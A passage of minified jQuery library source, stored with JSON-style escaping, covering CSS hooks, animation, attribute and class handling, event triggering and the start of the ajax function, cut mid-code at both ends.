c=Ma(a,\"opacity\");return\"\"===c?\"1\":c}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":\"cssFloat\"},style:function(a,b,c,d){if(a\u0026\u00263!==a.nodeType\u0026\u00268!==a.nodeType\u0026\u0026a.style){var e,f,g,h=r.camelCase(b),i=a.style;return b=r.cssProps[h]||(r.cssProps[h]=Ta(h)||h),g=r.cssHooks[b]||r.cssHooks[h],void 0===c?g\u0026\u0026\"get\"in g\u0026\u0026void 0!==(e=g.get(a,!1,d))?e:i[b]:(f=typeof c,\"string\"===f\u0026\u0026(e=_.exec(c))\u0026\u0026e[1]\u0026\u0026(c=da(a,b,e),f=\"number\"),null!=c\u0026\u0026c===c\u0026\u0026(\"number\"===f\u0026\u0026(c+=e\u0026\u0026e[3]||(r.cssNumber[h]?\"\":\"px\")),o.clearCloneStyle||\"\"!==c||0!==b.indexOf(\"background\")||(i[b]=\"inherit\"),g\u0026\u0026\"set\"in g\u0026\u0026void 0===(c=g.set(a,c,d))||(i[b]=c)),void 0)}},css:function(a,b,c,d){var e,f,g,h=r.camelCase(b);return b=r.cssProps[h]||(r.cssProps[h]=Ta(h)||h),g=r.cssHooks[b]||r.cssHooks[h],g\u0026\u0026\"get\"in g\u0026\u0026(e=g.get(a,!0,c)),void 0===e\u0026\u0026(e=Ma(a,b,d)),\"normal\"===e\u0026\u0026b in Qa\u0026\u0026(e=Qa[b]),\"\"===c||c?(f=parseFloat(e),c===!0||isFinite(f)?f||0:e):e}}),r.each([\"height\",\"width\"],function(a,b){r.cssHooks[b]={get:function(a,c,d){if(c)return!Oa.test(r.css(a,\"display\"))||a.getClientRects().length\u0026\u0026a.getBoundingClientRect().width?Wa(a,b,d):ca(a,Pa,function(){return Wa(a,b,d)})},set:function(a,c,d){var e,f=d\u0026\u0026La(a),g=d\u0026\u0026Va(a,b,d,\"border-box\"===r.css(a,\"boxSizing\",!1,f),f);return g\u0026\u0026(e=_.exec(c))\u0026\u0026\"px\"!==(e[3]||\"px\")\u0026\u0026(a.style[b]=c,c=r.css(a,b)),Ua(a,c,g)}}}),r.cssHooks.marginLeft=Na(o.reliableMarginLeft,function(a,b){if(b)return(parseFloat(Ma(a,\"marginLeft\"))||a.getBoundingClientRect().left-ca(a,{marginLeft:0},function(){return a.getBoundingClientRect().left}))+\"px\"}),r.each({margin:\"\",padding:\"\",border:\"Width\"},function(a,b){r.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f=\"string\"==typeof c?c.split(\" \"):[c];d\u003c4;d++)e[a+aa[d]+b]=f[d]||f[d-2]||f[0];return e}},Ja.test(a)||(r.cssHooks[a+b].set=Ua)}),r.fn.extend({css:function(a,b){return S(this,function(a,b,c){var d,e,f={},g=0;if(r.isArray(b)){for(d=La(a),e=b.length;g\u003ce;g++)f[b[g]]=r.css(a,b[g],!1,d);return f}return void 0!==c?r.style(a,b,c):r.css(a,b)},a,b,arguments.length\u003e1)}});function Xa(a,b,c,d,e){return new Xa.prototype.init(a,b,c,d,e)}r.Tween=Xa,Xa.prototype={constructor:Xa,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?\"\":\"px\")},cur:function(){var a=Xa.propHooks[this.prop];return a\u0026\u0026a.get?a.get(this):Xa.propHooks._default.get(this)},run:function(a){var b,c=Xa.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step\u0026\u0026this.options.step.call(this.elem,this.now,this),c\u0026\u0026c.set?c.set(this):Xa.propHooks._default.set(this),this}},Xa.prototype.init.prototype=Xa.prototype,Xa.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]\u0026\u0026null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,\"\"),b\u0026\u0026\"auto\"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]\u0026\u0026!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},Xa.propHooks.scrollTop=Xa.propHooks.scrollLeft={set:function(a){a.elem.nodeType\u0026\u0026a.elem.parentNode\u0026\u0026(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:\"swing\"},r.fx=Xa.prototype.init,r.fx.step={};var Ya,Za,$a=/^(?:toggle|show|hide)$/,_a=/queueHooks$/;function ab(){Za\u0026\u0026(a.requestAnimationFrame(ab),r.fx.tick())}function bb(){return a.setTimeout(function(){Ya=void 0}),Ya=r.now()}function cb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d\u003c4;d+=2-b)c=aa[d],e[\"margin\"+c]=e[\"padding\"+c]=a;return b\u0026\u0026(e.opacity=e.width=a),e}function db(a,b,c){for(var d,e=(gb.tweeners[b]||[]).concat(gb.tweeners[\"*\"]),f=0,g=e.length;f\u003cg;f++)if(d=e[f].call(c,b,a))return d}function eb(a,b,c){var d,e,f,g,h,i,j,k,l=\"width\"in b||\"height\"in b,m=this,n={},o=a.style,p=a.nodeType\u0026\u0026ba(a),q=V.get(a,\"fxshow\");c.queue||(g=r._queueHooks(a,\"fx\"),null==g.unqueued\u0026\u0026(g.unqueued=0,h=g.empty.fire,g.empty.fire=function(){g.unqueued||h()}),g.unqueued++,m.always(function(){m.always(function(){g.unqueued--,r.queue(a,\"fx\").length||g.empty.fire()})}));for(d in b)if(e=b[d],$a.test(e)){if(delete b[d],f=f||\"toggle\"===e,e===(p?\"hide\":\"show\")){if(\"show\"!==e||!q||void 0===q[d])continue;p=!0}n[d]=q\u0026\u0026q[d]||r.style(a,d)}if(i=!r.isEmptyObject(b),i||!r.isEmptyObject(n)){l\u0026\u00261===a.nodeType\u0026\u0026(c.overflow=[o.overflow,o.overflowX,o.overflowY],j=q\u0026\u0026q.display,null==j\u0026\u0026(j=V.get(a,\"display\")),k=r.css(a,\"display\"),\"none\"===k\u0026\u0026(j?k=j:(ga([a],!0),j=a.style.display||j,k=r.css(a,\"display\"),ga([a]))),(\"inline\"===k||\"inline-block\"===k\u0026\u0026null!=j)\u0026\u0026\"none\"===r.css(a,\"float\")\u0026\u0026(i||(m.done(function(){o.display=j}),null==j\u0026\u0026(k=o.display,j=\"none\"===k?\"\":k)),o.display=\"inline-block\")),c.overflow\u0026\u0026(o.overflow=\"hidden\",m.always(function(){o.overflow=c.overflow[0],o.overflowX=c.overflow[1],o.overflowY=c.overflow[2]})),i=!1;for(d in n)i||(q?\"hidden\"in q\u0026\u0026(p=q.hidden):q=V.access(a,\"fxshow\",{display:j}),f\u0026\u0026(q.hidden=!p),p\u0026\u0026ga([a],!0),m.done(function(){p||ga([a]),V.remove(a,\"fxshow\");for(d in n)r.style(a,d,n[d])})),i=db(p?q[d]:0,d,m),d in q||(q[d]=i.start,p\u0026\u0026(i.end=i.start,i.start=0))}}function fb(a,b){var c,d,e,f,g;for(c in a)if(d=r.camelCase(c),e=b[d],f=a[c],r.isArray(f)\u0026\u0026(e=f[1],f=a[c]=f[0]),c!==d\u0026\u0026(a[d]=f,delete a[c]),g=r.cssHooks[d],g\u0026\u0026\"expand\"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function gb(a,b,c){var d,e,f=0,g=gb.prefilters.length,h=r.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=Ya||bb(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;g\u003ci;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),f\u003c1\u0026\u0026i?c:(h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:r.extend({},b),opts:r.extend(!0,{specialEasing:{},easing:r.easing._default},c),originalProperties:b,originalOptions:c,startTime:Ya||bb(),duration:c.duration,tweens:[],createTween:function(b,c){var d=r.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;c\u003cd;c++)j.tweens[c].run(1);return b?(h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j,b])):h.rejectWith(a,[j,b]),this}}),k=j.props;for(fb(k,j.opts.specialEasing);f\u003cg;f++)if(d=gb.prefilters[f].call(j,a,k,j.opts))return r.isFunction(d.stop)\u0026\u0026(r._queueHooks(j.elem,j.opts.queue).stop=r.proxy(d.stop,d)),d;return r.map(k,db,j),r.isFunction(j.opts.start)\u0026\u0026j.opts.start.call(a,j),r.fx.timer(r.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always)}r.Animation=r.extend(gb,{tweeners:{\"*\":[function(a,b){var c=this.createTween(a,b);return da(c.elem,a,_.exec(b),c),c}]},tweener:function(a,b){r.isFunction(a)?(b=a,a=[\"*\"]):a=a.match(K);for(var c,d=0,e=a.length;d\u003ce;d++)c=a[d],gb.tweeners[c]=gb.tweeners[c]||[],gb.tweeners[c].unshift(b)},prefilters:[eb],prefilter:function(a,b){b?gb.prefilters.unshift(a):gb.prefilters.push(a)}}),r.speed=function(a,b,c){var e=a\u0026\u0026\"object\"==typeof a?r.extend({},a):{complete:c||!c\u0026\u0026b||r.isFunction(a)\u0026\u0026a,duration:a,easing:c\u0026\u0026b||b\u0026\u0026!r.isFunction(b)\u0026\u0026b};return r.fx.off||d.hidden?e.duration=0:e.duration=\"number\"==typeof e.duration?e.duration:e.duration in r.fx.speeds?r.fx.speeds[e.duration]:r.fx.speeds._default,null!=e.queue\u0026\u0026e.queue!==!0||(e.queue=\"fx\"),e.old=e.complete,e.complete=function(){r.isFunction(e.old)\u0026\u0026e.old.call(this),e.queue\u0026\u0026r.dequeue(this,e.queue)},e},r.fn.extend({fadeTo:function(a,b,c,d){return this.filter(ba).css(\"opacity\",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=r.isEmptyObject(a),f=r.speed(b,c,d),g=function(){var b=gb(this,r.extend({},a),f);(e||V.get(this,\"finish\"))\u0026\u0026b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return\"string\"!=typeof a\u0026\u0026(c=b,b=a,a=void 0),b\u0026\u0026a!==!1\u0026\u0026this.queue(a||\"fx\",[]),this.each(function(){var b=!0,e=null!=a\u0026\u0026a+\"queueHooks\",f=r.timers,g=V.get(this);if(e)g[e]\u0026\u0026g[e].stop\u0026\u0026d(g[e]);else for(e in g)g[e]\u0026\u0026g[e].stop\u0026\u0026_a.test(e)\u0026\u0026d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a\u0026\u0026f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));!b\u0026\u0026c||r.dequeue(this,a)})},finish:function(a){return a!==!1\u0026\u0026(a=a||\"fx\"),this.each(function(){var b,c=V.get(this),d=c[a+\"queue\"],e=c[a+\"queueHooks\"],f=r.timers,g=d?d.length:0;for(c.finish=!0,r.queue(this,a,[]),e\u0026\u0026e.stop\u0026\u0026e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this\u0026\u0026f[b].queue===a\u0026\u0026(f[b].anim.stop(!0),f.splice(b,1));for(b=0;b\u003cg;b++)d[b]\u0026\u0026d[b].finish\u0026\u0026d[b].finish.call(this);delete c.finish})}}),r.each([\"toggle\",\"show\",\"hide\"],function(a,b){var c=r.fn[b];r.fn[b]=function(a,d,e){return null==a||\"boolean\"==typeof a?c.apply(this,arguments):this.animate(cb(b,!0),a,d,e)}}),r.each({slideDown:cb(\"show\"),slideUp:cb(\"hide\"),slideToggle:cb(\"toggle\"),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(a,b){r.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),r.timers=[],r.fx.tick=function(){var a,b=0,c=r.timers;for(Ya=r.now();b\u003cc.length;b++)a=c[b],a()||c[b]!==a||c.splice(b--,1);c.length||r.fx.stop(),Ya=void 0},r.fx.timer=function(a){r.timers.push(a),a()?r.fx.start():r.timers.pop()},r.fx.interval=13,r.fx.start=function(){Za||(Za=a.requestAnimationFrame?a.requestAnimationFrame(ab):a.setInterval(r.fx.tick,r.fx.interval))},r.fx.stop=function(){a.cancelAnimationFrame?a.cancelAnimationFrame(Za):a.clearInterval(Za),Za=null},r.fx.speeds={slow:600,fast:200,_default:400},r.fn.delay=function(b,c){return b=r.fx?r.fx.speeds[b]||b:b,c=c||\"fx\",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a=d.createElement(\"input\"),b=d.createElement(\"select\"),c=b.appendChild(d.createElement(\"option\"));a.type=\"checkbox\",o.checkOn=\"\"!==a.value,o.optSelected=c.selected,a=d.createElement(\"input\"),a.value=\"t\",a.type=\"radio\",o.radioValue=\"t\"===a.value}();var hb,ib=r.expr.attrHandle;r.fn.extend({attr:function(a,b){return S(this,r.attr,a,b,arguments.length\u003e1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f\u0026\u00268!==f\u0026\u00262!==f)return\"undefined\"==typeof a.getAttribute?r.prop(a,b,c):(1===f\u0026\u0026r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?hb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e\u0026\u0026\"set\"in e\u0026\u0026void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+\"\"),c):e\u0026\u0026\"get\"in e\u0026\u0026null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b),null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue\u0026\u0026\"radio\"===b\u0026\u0026r.nodeName(a,\"input\")){var c=a.value;return a.setAttribute(\"type\",b),c\u0026\u0026(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b\u0026\u0026b.match(K);\r\nif(e\u0026\u00261===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),hb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\\w+/g),function(a,b){var c=ib[b]||r.find.attr;ib[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=ib[g],ib[g]=e,e=null!=c(a,b,d)?g:null,ib[g]=f),e}});var jb=/^(?:input|select|textarea|button)$/i,kb=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return S(this,r.prop,a,b,arguments.length\u003e1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f\u0026\u00268!==f\u0026\u00262!==f)return 1===f\u0026\u0026r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e\u0026\u0026\"set\"in e\u0026\u0026void 0!==(d=e.set(a,c,b))?d:a[b]=c:e\u0026\u0026\"get\"in e\u0026\u0026null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,\"tabindex\");return b?parseInt(b,10):jb.test(a.nodeName)||kb.test(a.nodeName)\u0026\u0026a.href?0:-1}}},propFix:{\"for\":\"htmlFor\",\"class\":\"className\"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b\u0026\u0026b.parentNode\u0026\u0026b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b\u0026\u0026(b.selectedIndex,b.parentNode\u0026\u0026b.parentNode.selectedIndex)}}),r.each([\"tabIndex\",\"readOnly\",\"maxLength\",\"cellSpacing\",\"cellPadding\",\"rowSpan\",\"colSpan\",\"useMap\",\"frameBorder\",\"contentEditable\"],function(){r.propFix[this.toLowerCase()]=this});var lb=/[\\t\\r\\n\\f]/g;function mb(a){return a.getAttribute\u0026\u0026a.getAttribute(\"class\")||\"\"}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,mb(this)))});if(\"string\"==typeof a\u0026\u0026a){b=a.match(K)||[];while(c=this[i++])if(e=mb(c),d=1===c.nodeType\u0026\u0026(\" \"+e+\" \").replace(lb,\" \")){g=0;while(f=b[g++])d.indexOf(\" \"+f+\" \")\u003c0\u0026\u0026(d+=f+\" \");h=r.trim(d),e!==h\u0026\u0026c.setAttribute(\"class\",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,mb(this)))});if(!arguments.length)return this.attr(\"class\",\"\");if(\"string\"==typeof a\u0026\u0026a){b=a.match(K)||[];while(c=this[i++])if(e=mb(c),d=1===c.nodeType\u0026\u0026(\" \"+e+\" \").replace(lb,\" \")){g=0;while(f=b[g++])while(d.indexOf(\" \"+f+\" \")\u003e-1)d=d.replace(\" \"+f+\" \",\" \");h=r.trim(d),e!==h\u0026\u0026c.setAttribute(\"class\",h)}}return this},toggleClass:function(a,b){var c=typeof a;return\"boolean\"==typeof b\u0026\u0026\"string\"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,mb(this),b),b)}):this.each(function(){var b,d,e,f;if(\"string\"===c){d=0,e=r(this),f=a.match(K)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a\u0026\u0026\"boolean\"!==c||(b=mb(this),b\u0026\u0026V.set(this,\"__className__\",b),this.setAttribute\u0026\u0026this.setAttribute(\"class\",b||a===!1?\"\":V.get(this,\"__className__\")||\"\"))})},hasClass:function(a){var b,c,d=0;b=\" \"+a+\" \";while(c=this[d++])if(1===c.nodeType\u0026\u0026(\" \"+mb(c)+\" \").replace(lb,\" \").indexOf(b)\u003e-1)return!0;return!1}});var nb=/\\r/g,ob=/[\\x20\\t\\r\\n\\f]+/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType\u0026\u0026(e=d?a.call(this,c,r(this).val()):a,null==e?e=\"\":\"number\"==typeof e?e+=\"\":r.isArray(e)\u0026\u0026(e=r.map(e,function(a){return null==a?\"\":a+\"\"})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b\u0026\u0026\"set\"in b\u0026\u0026void 0!==b.set(this,e,\"value\")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b\u0026\u0026\"get\"in b\u0026\u0026void 0!==(c=b.get(e,\"value\"))?c:(c=e.value,\"string\"==typeof c?c.replace(nb,\"\"):null==c?\"\":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,\"value\");return null!=b?b:r.trim(r.text(a)).replace(ob,\" \")}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f=\"select-one\"===a.type,g=f?null:[],h=f?e+1:d.length,i=e\u003c0?h:f?e:0;i\u003ch;i++)if(c=d[i],(c.selected||i===e)\u0026\u0026!c.disabled\u0026\u0026(!c.parentNode.disabled||!r.nodeName(c.parentNode,\"optgroup\"))){if(b=r(c).val(),f)return b;g.push(b)}return g},set:function(a,b){var c,d,e=a.options,f=r.makeArray(b),g=e.length;while(g--)d=e[g],(d.selected=r.inArray(r.valHooks.option.get(d),f)\u003e-1)\u0026\u0026(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each([\"radio\",\"checkbox\"],function(){r.valHooks[this]={set:function(a,b){if(r.isArray(b))return a.checked=r.inArray(r(a).val(),b)\u003e-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute(\"value\")?\"on\":a.value})});var pb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,\"type\")?b.type:b,q=l.call(b,\"namespace\")?b.namespace.split(\".\"):[];if(h=i=e=e||d,3!==e.nodeType\u0026\u00268!==e.nodeType\u0026\u0026!pb.test(p+r.event.triggered)\u0026\u0026(p.indexOf(\".\")\u003e-1\u0026\u0026(q=p.split(\".\"),p=q.shift(),q.sort()),k=p.indexOf(\":\")\u003c0\u0026\u0026\"on\"+p,b=b[r.expando]?b:new r.Event(p,\"object\"==typeof b\u0026\u0026b),b.isTrigger=f?2:3,b.namespace=q.join(\".\"),b.rnamespace=b.namespace?new RegExp(\"(^|\\\\.)\"+q.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f\u0026\u0026!n.noBubble\u0026\u0026!r.isWindow(e)){for(j=n.delegateType||p,pb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)\u0026\u0026o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])\u0026\u0026!b.isPropagationStopped())b.type=g\u003e1?j:n.bindType||p,m=(V.get(h,\"events\")||{})[b.type]\u0026\u0026V.get(h,\"handle\"),m\u0026\u0026m.apply(h,c),m=k\u0026\u0026h[k],m\u0026\u0026m.apply\u0026\u0026T(h)\u0026\u0026(b.result=m.apply(h,c),b.result===!1\u0026\u0026b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default\u0026\u0026n._default.apply(o.pop(),c)!==!1||!T(e)||k\u0026\u0026r.isFunction(e[p])\u0026\u0026!r.isWindow(e)\u0026\u0026(i=e[k],i\u0026\u0026(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i\u0026\u0026(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(a,b){r.fn[b]=function(a,c){return arguments.length\u003e0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin=\"onfocusin\"in a,o.focusin||r.each({focus:\"focusin\",blur:\"focusout\"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=V.access(d,b);e||d.addEventListener(a,c,!0),V.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=V.access(d,b)-1;e?V.access(d,b,e):(d.removeEventListener(a,c,!0),V.remove(d,b))}}});var qb=a.location,rb=r.now(),sb=/\\?/;r.parseXML=function(b){var c;if(!b||\"string\"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,\"text/xml\")}catch(d){c=void 0}return c\u0026\u0026!c.getElementsByTagName(\"parsererror\").length||r.error(\"Invalid XML: \"+b),c};var tb=/\\[\\]$/,ub=/\\r?\\n/g,vb=/^(?:submit|button|image|reset|file)$/i,wb=/^(?:input|select|textarea|keygen)/i;function xb(a,b,c,d){var e;if(r.isArray(b))r.each(b,function(b,e){c||tb.test(a)?d(a,e):xb(a+\"[\"+(\"object\"==typeof e\u0026\u0026null!=e?b:\"\")+\"]\",e,c,d)});else if(c||\"object\"!==r.type(b))d(a,b);else for(e in b)xb(a+\"[\"+e+\"]\",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+\"=\"+encodeURIComponent(null==c?\"\":c)};if(r.isArray(a)||a.jquery\u0026\u0026!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)xb(c,a[c],b,e);return d.join(\"\u0026\")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,\"elements\");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name\u0026\u0026!r(this).is(\":disabled\")\u0026\u0026wb.test(this.nodeName)\u0026\u0026!vb.test(a)\u0026\u0026(this.checked||!ha.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:r.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(ub,\"\\r\\n\")}}):{name:b.name,value:c.replace(ub,\"\\r\\n\")}}).get()}});var yb=/%20/g,zb=/#.*$/,Ab=/([?\u0026])_=[^\u0026]*/,Bb=/^(.*?):[ \\t]*([^\\r\\n]*)$/gm,Cb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Db=/^(?:GET|HEAD)$/,Eb=/^\\/\\//,Fb={},Gb={},Hb=\"*/\".concat(\"*\"),Ib=d.createElement(\"a\");Ib.href=qb.href;function Jb(a){return function(b,c){\"string\"!=typeof b\u0026\u0026(c=b,b=\"*\");var d,e=0,f=b.toLowerCase().match(K)||[];if(r.isFunction(c))while(d=f[e++])\"+\"===d[0]?(d=d.slice(1)||\"*\",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Kb(a,b,c,d){var e={},f=a===Gb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return\"string\"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e[\"*\"]\u0026\u0026g(\"*\")}function Lb(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]\u0026\u0026((e[c]?a:d||(d={}))[c]=b[c]);return d\u0026\u0026r.extend(!0,a,d),a}function Mb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while(\"*\"===i[0])i.shift(),void 0===d\u0026\u0026(d=a.mimeType||b.getResponseHeader(\"Content-Type\"));if(d)for(e in h)if(h[e]\u0026\u0026h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+\" \"+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]\u0026\u0026i.unshift(f),c[f]}function Nb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]\u0026\u0026(c[a.responseFields[f]]=b),!i\u0026\u0026d\u0026\u0026a.dataFilter\u0026\u0026(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if(\"*\"===f)f=i;else if(\"*\"!==i\u0026\u0026i!==f){if(g=j[i+\" \"+f]||j[\"* \"+f],!g)for(e in j)if(h=e.split(\" \"),h[1]===f\u0026\u0026(g=j[i+\" \"+h[0]]||j[\"* \"+h[0]])){g===!0?g=j[e]:j[e]!==!0\u0026\u0026(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g\u0026\u0026a[\"throws\"])b=g(b);else try{b=g(b)}catch(l){return{state:\"parsererror\",error:g?l:\"No conversion from \"+i+\" to \"+f}}}return{state:\"success\",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:qb.href,type:\"GET\",isLocal:Cb.test(qb.protocol),global:!0,processData:!0,async:!0,contentType:\"application/x-www-form-urlencoded; charset=UTF-8\",accepts:{\"*\":Hb,text:\"text/plain\",html:\"text/html\",xml:\"application/xml, text/xml\",json:\"application/json, text/javascript\"},contents:{xml:/\\bxml\\b/,html:/\\bhtml/,json:/\\bjson\\b/},responseFields:{xml:\"responseXML\",text:\"responseText\",json:\"responseJSON\"},converters:{\"* text\":String,\"text html\":!0,\"text json\":JSON.parse,\"text xml\":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Lb(Lb(a,r.ajaxSettings),b):Lb(r.ajaxSettings,a)},ajaxPrefilter:Jb(Fb),ajaxTransport:Jb(Gb),ajax:function(b,c){\"object\"==typeof b\u0026\u0026(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context\u0026\u0026(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks(\"once memory\"),u=o.statusCode||{},v={},w={},x=\"canceled\",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Bb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k\u0026\u0026(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k\u0026\u0026(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return 